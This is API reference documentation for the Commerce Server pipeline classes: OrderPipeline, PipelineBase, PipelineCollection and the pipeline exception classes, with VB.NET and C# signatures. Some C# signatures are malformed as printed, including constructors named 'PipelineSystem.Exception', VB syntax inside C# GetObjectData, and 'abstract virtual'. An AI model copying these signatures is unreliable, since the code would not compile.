Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Properties (BCL)

Public Instance Properties

Property | Description
DebugContext (Inherits from PipelineBase) | Gets the DebugContext object for this pipeline.
LoggingEnabled (Inherits from PipelineBase) | Gets a Boolean that determines whether logging is enabled.
LogPath (Inherits from PipelineBase) | Gets the pipeline log file path.
Name (Inherits from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherits from PipelineBase) | Gets the path to the pipeline .pcf file.
TransactionalSetting | Gets the transactional setting of the pipeline.

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline.TransactionalSetting Property (BCL)

The TransactionalSetting property is a read-only Boolean that indicates whether the pipeline should run in a transaction.

Definition

[Visual Basic .NET]
Public ReadOnly Property TransactionalSetting As System.Boolean
[C#]
public System.Boolean TransactionalSetting {get;}

Property Value

A Boolean value that indicates whether the pipeline should run a transaction.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


PipelineBase Class (BCL)

The abstract base class for pipelines.

Protected Instance Constructor

Constructor | Description
PipelineBase Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the PipelineBase class.

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the pipeline.
ToString | Returns the name of the pipeline.

Public Instance Properties

Property | Description
DebugContext | Gets the DebugContext object for the pipeline.
LoggingEnabled | Gets a Boolean that determines whether logging is enabled.
LogPath | Gets the pipeline log file path.
Name | Gets the friendly name of the pipeline.
PipelineConfigPath | Gets the path to the pipeline .pcf file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase Constructor (BCL)

Protected Instance Constructor

Constructor | Description
PipelineBase Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the PipelineBase class.


PipelineBase Constructor (String, String, Boolean, String, DebugContext) (BCL)

Use this method to create a new instance of the PipelineBase class.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal name As System.String, _
  ByVal pipelineConfigPath As System.String, _
  ByVal loggingEnabled As System.Boolean, _
  ByVal logPath As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
protected PipelineBase(
  System.String name,
  System.String pipelineConfigPath,
  System.Boolean loggingEnabled,
  System.String logPath,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
The fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information displayed by this class will appear to the user. May not be null.
[C#]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
The fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information displayed by this class will appear to the user. May not be null.

Remarks

Throws an ArgumentNullException if any of the required parameters are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase Methods (BCL)

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the pipeline.
ToString | Returns the name of the pipeline.


PipelineBase.Execute (Object, Object) Method (BCL)

Use this method to run a pipeline. This method must be overridden in the derived classes.

Definition

[Visual Basic .NET]
Public MustOverride Function Execute( _
  ByVal order As System.Object, _
  ByVal context As System.Object _
) As System.Int32
[C#]
public abstract virtual System.Int32 Execute(
  System.Object order,
  System.Object context
);

Parameters

[Visual Basic .NET]
order
An Order dictionary or an OrderForm object. May not be null.
context
A Context dictionary object. May be null.
[C#]
order
An Order dictionary or an OrderForm object. May not be null.
context
A Context dictionary object. May be null.

Return Value

Error Level | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed.

Remarks

Throws an ArgumentNullException if the order parameter is null.

Throws a CommerceCreateObjectException if the Pipeline COM object could not be found.

Throws a PipelineLoadException if the pipeline could not be loaded.

Throws a PipelineExecuteException if there is an exception during pipeline execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.ToString Method (BCL)

Use this method to retrieve the name of the pipeline.

Definition

[Visual Basic .NET]
Overridable Public Function ToString( _
) As System.String
[C#]
public virtual System.String ToString(
);

Return Value

The name of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase Properties (BCL)

Public Instance Properties

Property | Description
DebugContext | Gets the DebugContext object for this pipeline.
LoggingEnabled | Gets a Boolean that determines whether logging is enabled.
LogPath | Gets the pipeline log file path.
Name | Gets the friendly name of the pipeline.
PipelineConfigPath | Gets the path to the pipeline .pcf file.


PipelineBase.DebugContext Property (BCL)

The DebugContext property is a read-only DebugContext that gets the DebugContext object for this pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object for this pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.LoggingEnabled Property (BCL)

The LoggingEnabled property is a read-only Boolean that determines whether logging is enabled.

Definition

[Visual Basic .NET]
Public ReadOnly Property LoggingEnabled As System.Boolean
[C#]
public System.Boolean LoggingEnabled {get;}

Property Value

A Boolean that indicates whether logging is enabled.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.LogPath Property (BCL)

The LogPath property is a read-only String that gets the path of the log file.

Definition

[Visual Basic .NET]
Public ReadOnly Property LogPath As System.String
[C#]
public System.String LogPath {get;}

Property Value

The path of the log file.

Remarks

When a pipeline object is run within the Commerce Server .NET Application Framework and the CommerceContext.UserID property is set (either explicitly or because the CommerceAuthenticationModule is enabled), the log file path is constructed using the path section of the logPath property that was provided when the pipeline was constructed and appends the CommerceContext.UserID property for the filename. When a pipeline object is running outside of the Commerce Server .NET Application Framework, or when the CommerceContext.UserID property is not set, the log file path is set to the complete logPath specified when the pipeline object was constructed.

Pipeline logging is not thread safe, so it is recommended that you set the CommerceContext.UserID property either automatically or explicitly, so that a unique log file name is generated with each execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.Name Property (BCL)

The Name property is a read-only String that gets the friendly name of the pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The friendly name of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineBase.PipelineConfigPath Property (BCL)

The PipelineConfigPath property is a read-only String that gets the path to the pipeline .pcf file.

Definition

[Visual Basic .NET]
Public ReadOnly Property PipelineConfigPath As System.String
[C#]
public System.String PipelineConfigPath {get;}

Property Value

Gets the path to the pipeline .pcf file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Class

Stores the collection of pipelines configured for the site.

Public Instance Constructor

Constructor | Description
PipelineCollection Constructor | Creates a new instance of the PipelineCollection class for the specified site.

Public Instance Methods

Method | Description
Add(String, PipelineBase) | Adds a pipeline to the collection.
CopyTo(Array, Int32) | Copies the pipeline objects into an array, starting at a particular array index.
GetEnumerator | Supports enumeration of the pipelines in the collection.

Public Instance Properties

Property | Description
Count | Gets the number of pipelines contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a pipeline based on the pipeline name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineCollection Constructor | Creates a new instance of the PipelineCollection class for the specified site.


PipelineCollection Constructor (BCL)

Use this method to create a new instance of the PipelineCollection class for the specified site.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, PipelineBase) | Adds a pipeline to the collection.
CopyTo(Array, Int32) | Copies the pipeline objects into an array, starting at a particular array index.
GetEnumerator | Supports enumeration of the pipelines in the collection.


PipelineCollection.Add (String, PipelineBase) Method (BCL)

Use this method to add a pipeline to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal pipelineName As System.String, _
  ByVal pipeline As PipelineBase _
)
[C#]
public void Add(
  System.String pipelineName,
  PipelineBase pipeline
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name. May not be null.
pipeline
The Pipeline object. May not be null.
[C#]
pipelineName
The pipeline name. May not be null.
pipeline
The Pipeline object. May not be null.

Remarks

Throws an ArgumentNullException if either required parameter is passed as null.

Throws an ArgumentException if a pipeline with the same name already exists in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the pipeline objects into an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.GetEnumerator Method (BCL)

Use this method to support enumeration of the pipelines in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An IEnumerator for enumerating the pipelines in the collection.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of pipelines contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a pipeline based on the pipeline name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


PipelineCollection.Count Property (BCL)

The Count property is a read-only Int32 that gets the number of pipelines contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of pipelines contained in the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that gets a value indicating whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.Item(String) Property (BCL)

The Item property is a read-only PipelineBase object indexed by the pipeName parameter.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal pipeName As System.String _
) As PipelineBase
[C#]
public PipelineBase Item(
  System.String pipeName
) {get;}

Parameters

[Visual Basic .NET]
pipeName
The name of the PipelineBase object to retrieve.
[C#]
pipeName
The name of the PipelineBase object to retrieve.

Property Value

The PipelineBase object indexed by the pipeName parameter.

Remarks

The property throws an ArgumentNullException if the pipeName parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only Object that gets an object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

An object that can be used for synchronized access to the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Class (BCL)

Exception class for pipeline failures.

Public Instance Constructor

Constructor | Description
PipelineException Constructor | Creates a new instance of the PipelineException class.
PipelineException Constructor(String) | Creates a new instance of the PipelineException class with a specified message.
PipelineException Constructor(String, Exception) | Creates a new instance of the PipelineException class with a specified message and inner exception.
PipelineException Constructor(String, String, Exception) | Creates a new instance of the PipelineException class with a specified name, message, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineException Constructor | Creates a new instance of the PipelineException class.
PipelineException Constructor(String) | Creates a new instance of the PipelineException class with a specified message.
PipelineException Constructor(String, Exception) | Creates a new instance of the PipelineException class with a specified message and inner exception.
PipelineException Constructor(String, String, Exception) | Creates a new instance of the PipelineException class with a specified name, message, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineException class with the specified serialization information and streaming context.


PipelineException Constructor (BCL)

Use this method to create a new instance of the PipelineException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the PipelineException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected PipelineException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (String) (BCL)

Use this method to create a new instance of the PipelineException class with a specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public PipelineException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the PipelineException class with a specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The inner exception.
[C#]
message
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the PipelineException class with a specified name, message, and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String, _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineSystem.Exception(
  System.String pipelineName,
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name.
message
The error message.
inner
The inner exception.
[C#]
pipelineName
The pipeline name.
message
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineException.PipelineName Property (BCL)

The PipelineName property is a read-only String that gets the friendly name of the pipeline that encountered the exception.

Definition

[Visual Basic .NET]
Public ReadOnly Property PipelineName As System.String
[C#]
public System.String PipelineName {get;}

Property Value

The friendly name of the pipeline that encountered the exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Class (BCL)

Exception class thrown when a pipeline fails to execute successfully.

Public Instance Constructor

Constructor | Description
PipelineExecuteException Constructor | Creates a new instance of the PipelineExecuteException class.
PipelineExecuteException Constructor(String) | Creates a new instance of the PipelineExecuteException class with the specified message.
PipelineExecuteException Constructor(String, Exception) | Creates a new instance of the PipelineExecuteException class with the specified pipeline name and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineExecuteException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineExecuteException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the Microsoft .NET Framework Software Development Kit (SDK) documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineExecuteException Constructor | Creates a new instance of the PipelineExecuteException class.
PipelineExecuteException Constructor(String) | Creates a new instance of the PipelineExecuteException class with the specified message.
PipelineExecuteException Constructor(String, Exception) | Creates a new instance of the PipelineExecuteException class with the specified pipeline name and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineExecuteException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineExecuteException class with the specified serialization information and streaming context.


PipelineExecuteException Constructor (BCL)

Use this method to create a new instance of the PipelineExecuteException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineExecuteException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the PipelineExecuteException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected PipelineExecuteException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization information.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization information.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (String) (BCL)

Use this method to create a new instance of the PipelineExecuteException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public PipelineExecuteException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the PipelineExecuteException class with the specified pipeline name and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineExecuteSystem.Exception(
  System.String pipelineName,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name.
inner
The inner exception.
[C#]
pipelineName
The pipeline name.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the Microsoft .NET Framework Software Development Kit (SDK) for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineExecuteException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineExecuteException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the Microsoft .NET Framework Software Development Kit (SDK) for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineLoadException Class (BCL)

Exception class thrown when a pipeline fails to load successfully.

Public Instance Constructor

Constructor | Description
PipelineLoadException Constructor | Creates a new instance of the PipelineLoadException class.
PipelineLoadException Constructor(String) | Creates a new instance of the PipelineLoadException class with the specified message.
PipelineLoadException Constructor(String, Exception) | Creates a new instance of the PipelineLoadException class with the specified message and inner exception.
PipelineLoadException Constructor(String, String, Exception) | Creates a new instance of the PipelineLoadException class with the specified pipeline name, .pcf file path, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineLoadException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineLoadException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PCFPath | Gets the .pcf file path.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

